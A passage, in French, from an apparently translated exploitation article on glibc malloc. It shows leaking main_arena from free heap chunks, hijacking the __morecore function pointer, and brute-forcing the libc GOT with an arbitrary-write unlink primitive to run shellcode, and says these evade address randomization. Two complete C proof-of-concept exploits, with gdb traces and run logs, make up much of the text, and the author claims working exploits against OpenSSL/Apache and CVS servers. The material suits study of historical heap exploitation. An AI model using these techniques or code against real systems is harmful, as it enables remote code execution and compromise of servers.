supposer que ces paires d'adresses que nous avons trouvées sont une part
d'un chunk libre qui est le seul accroché à un bin, nous savons que ça
ressemble à...

   taille | fd | bk

A quel point est-il simple de trouver un chunk seul dans l'imensité du heap ?
D'abord, cela dépend du scénario de l'exploitation de l'agencement du heap
du processus cible. Par exemple, lorsqu'on exploite le bug OpenSSL sur
différentes cibles, nous pourrions toujours trouver au moins un chunk isolé
dans la mémoire fuyante du heap.
Ensuite, il y a un autre scénario dans lequel nous serons capables de
localiser un bin malloc, même sans la capacité de trouver un chunk seul. Si
nous sommes en mesure de trouver le premier ou le dernier chunk d'un bin,
l'un de ses pointeurs référencera une adresse dans main_arena, alors que
l'autre pointera vers un autre chunk libre dans le heap du processus. Donc,
nous chercherons après des paires de pointeurs valides comme ceux-ci :

   [ ptr_2_libc's_memory | ptr_2_process'_heap ]

   ou

   [ ptr_2_process'_heap | ptr_2_libc's_memory ]

Nous devons prendre en compte que cette heuristique ne sera pas aussi
précise que chercher après une paire de pointeurs égaux pointant vers des
adresses de l'espace libc, mais comme nous l'avons déjà dit, il est
possible de croiser les vérifications entre plusieurs chunks possibles.
Finalement, nous devons nous souvenir que ceci dépend totalement de la
façon dont abusons le processus pour lire sa mémoire. Dans le cas où nous
pouvons lire arbitrairement les adresses de la mémoire, ce n'est pas un
problème, le problème devient plus difficile dès que notre mécanisme pour
récupérer la mémoire distante est limité.

--] 4.5.2 Morecore

Ici, nous montrons comment trouver un pointeur sur fonction dans la libc
après avoir obtenu l' adresse d'un bin malloc, en utilisant l'un des
mécanismes expliqués avant.

En utilisant le champ taille de l'en-tête du chunk récupéréet la macro
bin_index() ou smallbin_index() nous obtenons l'adresse exacte du
main_arena. Nous pouvons croiser les checks entre plusieurs chunk supposés
seuls que l'adresse de main_arena est la bonne, selon la quantité de paires
de chunks seuls nous serons plus sûrs. Aussi longtemps que le processus ne
crash pas, nous pourrions récupérer de la mémoire du heap plusieurs fois,
car main_arena ne changera pas de place. De plus, je pense qu'il ne serait
pas faux de supposer que main_arena est situé à la  même adresse dans
différants processus (ceci dépend de l'adresse à laquelle la libc est
mappée). Ceci pourrait même être vrai pour différents processus serveurs,
nous autorisant à récupérer le main_arena au travers d'une fuite dans un
processus différent de celui que l'on exploite.

__morecore est situé juste 32 octets avant &main_arena[0].

Void_t *(*__morecore)() = __default_morecore;

MORECORE() est le nom de la fonction qui est appelée au travers du code de
malloc pour obtenir plus de mémoire du système d'exploiation, elle fait
défaut à sbrk().

Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)

Le désassemblage suivant montre comment MORECORE est appelée depuis le code
de chunk_alloc(), un appel indirect à __default_morecore est effectué par
défaut :

<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax
<chunk_alloc+1474>:  sub    $0xc,%esp
<chunk_alloc+1477>:  push   %esi
<chunk_alloc+1478>:  call   *(%eax)

where $eax points to __default_morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x4207e034

(gdb) x/4i 0x4207e034
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp


MORECORE() est appelée depuis l'algorithme de malloc() pour étendre le haut
de la mémoire, en demandant au système d'exploitation via la sbrk.

MORECORE() est appelée deux fois depuis malloc_extend_top()

    brk = (char*)(MORECORE (sbrk_size));
    ...
    /* Allocate correction */
    new_brk = (char*)(MORECORE (correction));

qui est appelée par chunk_alloc() :

    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);

MORECORE est également appelée par main_trim et top_chunk().


Nous avons juste besoin de nous asseoir et d'attendre jusqu'à ce que le
code atteigne l'un de ces points. Dans certains cas il peut être nécessaire
d'arranger les choses pour éviter que le code ne crashe avant.
Le pointeur sur fonction morecore est appelé chaque fois que le heap a
besoin d'être étendu, donc forcer le processus à allouer beaucoup de
mémoire est recommandé après avoir réécrit le pointeur.
Dans le cas où nous ne pouvons pas éviter un crash avant d'avoir pris le
contrôle du processus, il n'y a aucun problème (à moins que le serveur ne
meure complètement), car nous pouvons espérer que la libc soit mappée à la
même adresse dans la plupart des cas.

--] 5.5.2.1 Preuve de concept 5 : jumper avec morecore

Le code suivant montre juste comment obtenir l'information requise d'un
chunk libre, calcule l'adresse de __morecore et force un appel à MORECORE()
après l'avoir réécrit.

[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault

Regardons ce qui s'est passé avec gdb, nous utiliserons également un simple
malloc modifié sous la forme d'une librairie partagée pour savoir ce qui se
passe dans les structures internes de malloc.

[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Jetons un oeuil à la sortie pas à pas :

D'abord nous allouons notre chunk isolé :
    chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

Notez que nous appelons encore malloc() avec un autre pointeur, laissant ce
pointeur auxiliaire être le chunk suivant le top_chunk... Pour éviter les
différences dans la façon dont c'est manipulé [handled] lorsque libéré avec
notre but (souvenez-vous que dans ce cas spécial le chunk serait uni avec
le top_chunk sans être lié à aucun bin) :

        aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
   - returning 0x8049a18 from top_chunk
   - new top 0x8049c20 size 993
[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16)
   - returning 0x8049c20 from top_chunk
   - new top 0x8049c30 size 977

C'est à ceci que ressemble le heap à partir de maintenant...

--- HEAP DUMP ---
                ADDRESS SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (inuse)
chunk       0x8049c20 17(0x11)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk_end    0x804a000

--- HEAP LAYOUT ---
|A||A||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30

Aucun bin n'existe à présent, ils sont complètement vides.

Après ceci nous le libérons :

   free(chunk);

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
   - new free chunk

(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

Le chunk a été libéré et inséré dans un bin... Qui était vide car c'était
le premier chunk libéré. Donc c'est un "chunk isolé", le seul chunk dans un
bin.
Ici nous voyons bk et fd pointer vers la même adresse dans la mémoire de
libc, voyons à quoi ressemble à présent le main_arena :

0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  0x4212dfc0
0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  0x4212dfd0
0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  0x4212dfe0
0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  0x4212dff0
0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  0x4212e000
0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  0x4212e010
0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  0x4212e020
0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  0x4212e030
...
...
0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  0x4212e180
0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  0x4212e190
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  0x4212e1b0
0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  0x4212e1c0

Notez le main_arena tout juste initialisé avec tous ses bins pointant sur
eux-mêmes, et le chunk libre tout juste ajouté vers un des bins...

(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0
0x080499d0

En plus, les deux pointeurs se réfèrent à notre chunk isolé.

Jetons un oeuil au heap à cet instant :

--- HEAP DUMP ---
                ADDRESS   SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 0x40019dc0
chunk       0x8049c20 16(0x10)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk end    0x804a000

--- HEAP LAYOUT ---
|A||64||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
   bin -> 64 (0x40019dc0)
      free_chunk 0x8049a18 - size 520

En utilisant la taille connue de notre chunk, nous savons dans quel bin il
a été placé, donc nous pouvons obtenir l'adresse de main_arena et,
finalement, __morecore.

(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>:   0x4207e034  0x00000000  0x00000000  0x00000000
0x4212df90 <__morecore+16>:   0x00000000  0x00000000  0x00000000  0x00000000
0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0 0x4212dfb0

Ici, par défaut, __morecore popinte vers __default_morecore :

(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
0x4207e03b <__default_morecore+7>:  call   0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push   %eax
0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov    %eax,%edx
0x4207e054 <__default_morecore+32>: add    $0x10,%esp
0x4207e057 <__default_morecore+35>: xor    %eax,%eax
0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov    %ebp,%esp
0x4207e061 <__default_morecore+45>: pop    %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi

Pour conclure, nous réécrivons __morecore avec une fausse adresse, et
forçons malloc à appeler __morecore :

   *(unsigned int*)morecore = 0x41414141;
   chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
   - extending top chunk
   - previous size 976

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:   push   %esi
0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax)

A ce point nous voyons chunk_alloc tentant de jumper vers __morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x41414141

#include <stdio.h>
#include <stdlib.h>

/* some malloc code... */
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                           \
 (((((unsigned long)(sz)) >> 9) ==   0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
        chunk = (unsigned int*)malloc(CHUNK_SIZE);
        aux = (unsigned int*)malloc(0x0);

        free(chunk);
        printf("(-) lonely chunk was freed, gathering information...\n");

        sz = chunk[-1] & ~SIZE_MASK;
        fd = chunk[0];
        bk = chunk[1];

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
        else printf("\t(X) bk != fd ...\n"),exit(-1);

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
        printf("\t(!) the chunk is in bin number %d\n",bin);

        arena = bk-bin*2*sizeof(void*);
        printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

        morecore = arena-32;
        printf("\t(!) __morecore @ 0x%X\n",morecore);

        printf("(-) overwriting __morecore...\n");
        *(unsigned int*)morecore = 0x41414141;

        printf("(-) forcing a call to MORECORE()...\n");
        chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

        return 7;
}

Cette technique fonctionne même lorsque le processus est chargé dans un
espace d'adressage randomizé, car l'adresse du pointeur sur fonction est
collectée en runtime depuis le processus ciblé. Le mécanisme est
entièrement générique, car chaque processus lié à la glibc peut être
exploité de cette manière.
De plus, nous n'avons besoin d'aucun bruteforcing, car juste un essai est
suffisant pour exploiter le processus.
D'un autre côté, cette technique n'est plus utile dans les nouvelles libc,
i.e. 2.2.93, à cause du changement qu'à rencontré le code de malloc. Une
nouvelle approche est suggérée plus loin pour aider à l'exploitation de ces
versions de libc.
L'idée de morecore a été testée avec succès sur différentes versions de
glibc et installations par défaut de ditributions GNU/Linux : Debian 2.2r0,
Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2,
Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so).
Un code d'exploit utilisant ce trick peut expoiter les serveurs
OpenSSL/Apache sans aucune adresse codée en dur dans au moins les
distributions par défaut mentionnées ci-dessus.

--] 4.5.3 Force brute sur le GOT de la libc

Au cas où le trick morecore ne fonctionne pas (nous pouvons essayer, car
cela ne requiert qu'un seul essai), signifiant probablement que notre cible
utilise une nouvelle libc, nous avons toujours obtenu l'adresse du bin de
la glibc. Nous savons que que plus haut cette méthode va localiser le GOT
de la glibc.
Nous avons juste besoin de bruteforcer vers le haut et jusqu'à ce que nous
touchions l'entrée d'une fonction libc sur le point d'être appelée. Ce
mécanisme de force brute peut prendre du temps, mais pas autant qu'il n'en
serait nécessaire pour bruteforcer le GOT de l'objet principal (au cas où
nous aurions obtenu une adresse aproximative par quelque moyen).
Pour accélérer le processus, le point de départ du brute forcing devrait
être obtenu en ajustant l'adresse du bin récupérée avec une valeur
fixée. Cette valeur devrait être suffisante pour éviter de corrompre
l'arène pour empêcher de crasher le processus. De plus, le bruteforcing
peut être effectué en utilisant une taille de pas plus grande que
un. Utiliser un pas plus grand nécessitera moins d'essais, mais peut
risquer de manquer le GOT. La taille du pas devrait être calculée en
considérant la taille du GOT et le nombre d'accès aux entrées GOT entre
chaque essai (si un nombre plus grand de GOT sont utilisés, la probabilité
de modifier une entrée qui est sur le point d'être accédée est grande).
Après chaque essai, il est important de forcer le serveur à effectuer
autant d'actions que possible, de façon à le faire appeler beaucoups
d'appels libc donc la probabilité d'utiliser les entrées GOT qui ont été
réécrites est plus élévée.

Notez que le mécanisme de force brute pourrait crasher le processus de
différentes manières, car il corrompt les données de la libc.

Comme nous avons obtenu l'adresse en runtime, nous pouvons être sûrs que
nous sommes bien en train de brutefocer le bon endroit, même si la cible
randomize l'espace d'adressage du processus / de la lib, et que nous
finirons par toucher une entrée GOT.
Dans un scénario d'adresse de chargement randomizé, nous aurons besoin de
toucher une entrée GOT avant que le processus ne crashe pour exploiter
l'adresse bin obtenue s'il n'y a aucune relation entre les adresses de
chargement dans le processus crashé (celui dont nous avons obtenu l'adresse
du bin) et le nouveau processus portant notre nouvelle requête (i.e. des
processus forkés pourraient hériter de l'agencement de la mémoire du père
dans certaines implémentations de randomization). Cependant, le mécanisme
de force brute peut prendre en compte les offsets déjà essayés une fois
qu'il a obtenu l'adresse du nouveau bin, car l'offset relatif ente le bin
et le GOT est constant.

De plus, cette technique s'applique à tout processus linké à la glibc.
Notez que nous pourrions être capables d'exploiter un serveur en
bruteforçant des pointeurs sur fonctions spécifiques (i.e. situés dans des
structures comme les tampons de sortie réseau), mais cette approche est
plus générique.

L'idée du bruteforcing du GOT de la libc a été testé avec succès sur les
installations par défaut de la RedHat 8.0, RedHat 7.2 et RedHat 7.1.
Le code de l'exploit bruteforçant le GOT de la libc peut exploiter les
serveurs CVS vulnérables sans aucune adresse codée endur dans au moins les
ditributions par défaut mentionnées ci-dessus.

--] 4.5.3.1 Preuve de concept 6 : force brute sur le GOT de la libc sous-entendue

Le code suivant se brute force lui-même. Le processus tente de se trouver
lui-même, pour finalement terminer dans une inutile boucle infinie.

#include <stdio.h>
#include <fcntl.h>

#define ADJUST          0x200
#define STEP            0x2

#define LOOP_SC         "\xeb\xfe"
#define LOOP_SZ         2
#define SC_SZ           512
#define OUTPUT_SZ       64 * 1024

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ     32 + (rand() % 512)

#define PREV_INUSE      1
#define IS_MMAP         2
#define NON_MAIN_ARENA  4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long 
                               where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

/* juste forcer des appels à des fonctions libc entre chaque itération de
force brute */
void do_little(void){
   int w,r;
   char buf[256];
   sleep(0);
   w = open("/dev/null",O_WRONLY);
   r = open("/dev/urandom",O_RDONLY);
   read(r,buf,sizeof(buf));
   write(w,buf,sizeof(buf));
   close(r);
   close(w);
   return;
}

int main(int argc, char **argv){
   unsigned long *output,*bin=0;
   unsigned long i=0,sz;
   char *sc,*p;
   unsigned long *start=0;

   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

   sc = (char*) malloc(SC_SZ * LOOP_SZ);
   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
   p = sc;
   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
      memcpy(p,LOOP_SC,LOOP_SZ);


   printf("(-) forcing bin address disclosure... ");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ);
   for(i=0;i<OUTPUT_SZ-1;i++)
      if(output[i] == output[i+1] &&
            ((output[i] & 0xffff0000) != 0xffff0000) ) {
         bin = (unsigned long*)output[i];
         printf("%p\n",bin);
         start = bin - ADJUST;
      }
   if(!bin){
      printf("failed\n");
      return 0;
   }

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
   else        i = 0;

   printf("(-) starting libc GOT bruteforcing @ %p\n",start);
   for(;;i++){
      sz = SOMECHUNKSZ;
      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n",
             i,sc,start-(i*STEP),s*sizeof(unsigned long));
      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
      do_little();
   }

   printf("I'm not here, this is not happening\n");
}

Voyons ce qui se produit :

$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk
  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk
  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk
  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk
  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk
  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk
  ...
  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk
  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk
  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk
Segmentation fault

Nous avons obtenu 142 essais consécutifs sans crash en utilisant des
chunks de taille aléatoire. Nous lançons encore notre code, en commençant
cette fois par l'essai 143, notez que le programme obtient encore l'adresse
de brutefocring de base.

$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk
  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk
  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk
  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk
  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk
  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk
  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk
  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk
  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk
  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk
  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk
Segmentation fault

Ca a crashé plus rapidement... Probablement avons-nous corrompu des données
libc, ou avons-nous touché le GOT...

$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk
Segmentation fault

$ ./got_bf 155

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk
  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk
  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk
Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk
  ...
  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk
Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk
  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk
  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk
  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk
Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk
  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk
  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk
  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk
  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk
  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk
  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk
  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk

Finalement, le shellcode de boucle est exécuté... Nous avons eu besoin de 5
crashes, en allant de 8 en 8 à chaque fois. Jouer avec les valeurs de
STEP¨et ADJUST, ainsi que la fonction do_little donnera des résultats
différants.

--] 4.5.4 Fingrprinting de la libc

Avoir une adresse de bin nous permet de reconnaître la version de libc
attaquée.
Nous avons juste besoin de construire une base de données avec différentes
libcs de différentes distributions pour retrouver l'adresse bin et le
numéro de bin obtenus.
Connaître exactement quelle est la libc que le processus cible a chargée
nous donne l'adresse absolue exacte de tous les endroits dans la libc,
comme : les pointeurs sur fonction, les structures internes, les flags,
etc. Cette information peut être maltraîtée [abused] pour construire
plusieurs attaques dans différents scénarii, i.e. connaître la localisation
des fonctions et des chaînes permet de ruser facilement le retour dans les
attaques de la libc [14].

A part ceci, connaîte la version de la libc nous permet de connaître sous
quelle distribution de GNU/Linux tourne le host cible. Ceci pourraît
permettre une exploitation plus avancée dans le cas où nous ne sommes pas
en mesure d'exploiter le bug (celui que nous utilisons pour fuiter
l'adresse du bin) pour executer du code.

--] 4.5.5 Corruption de la zone (haut, dernier reste et modification du binaire)

Depuis l'adresse main_arena précedemment collectée, nous connaissons la
localisation de n'importe quel bin, incluant le top chunk et le last
remainder chunk.
Corrompre l'un de ces pointeurs modifiera complètement le comportement de
l'allocateur. A présent, je n'ai aucun code pour le confirmer, mais il y a
ici beaucoup de possibilités ouvertes pour la recherche, car un(e)
attaquant(e) pourrait être capable de rediriger un bin entier dans ses
propres entrées fournies.

---------------------------------------------------------------------------
--] 4.6 Copier le shellcode "à la main"

Un autre trick qui permet à l'attaquant(e) de connaîte la localisation
exacte du shellcode injecté est de copier le shellcode à une adresse fixée
en utilisant la primitive aa4bmo.
Comme nous ne pouvons écrire aucune valeur, nous avons besoin d'utiliser
des écritures non-alignées pour créer le shellcode dans la mémoire, en
écrivant 1 ou 2 octets à chaque fois.
Nous avons besoin d'être capables de copier le shellcode entier avant que
le serveur ne crashe pour utiliser cette technique.

---------------------------------------------------------------------------
--] 5 Conclusions

Les failles basées sur malloc fournissent une énorme opportunité pour
l'exploitation totalement automatique.
La capacité de transformer la primitive aa4bmo en une primitive de fuite de
mémoire permet à l'attaquant(e) d'exploiter le processus sans aucune
connaissance a priori, même en présence d'un plan de randomization de
l'agencement de la mémoire.

    [ Note des éditeurs : il est venu à notre attention que la technique
      décrite pourrait ne pas fonctionner pour la série glibc 2.3 ]

---------------------------------------------------------------------------
--] 6 Remerciements

J'aimerais remercier beaucoup de gens : 8a, beto, gera, zb0, raddy, juliano,
kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon,
module, ...
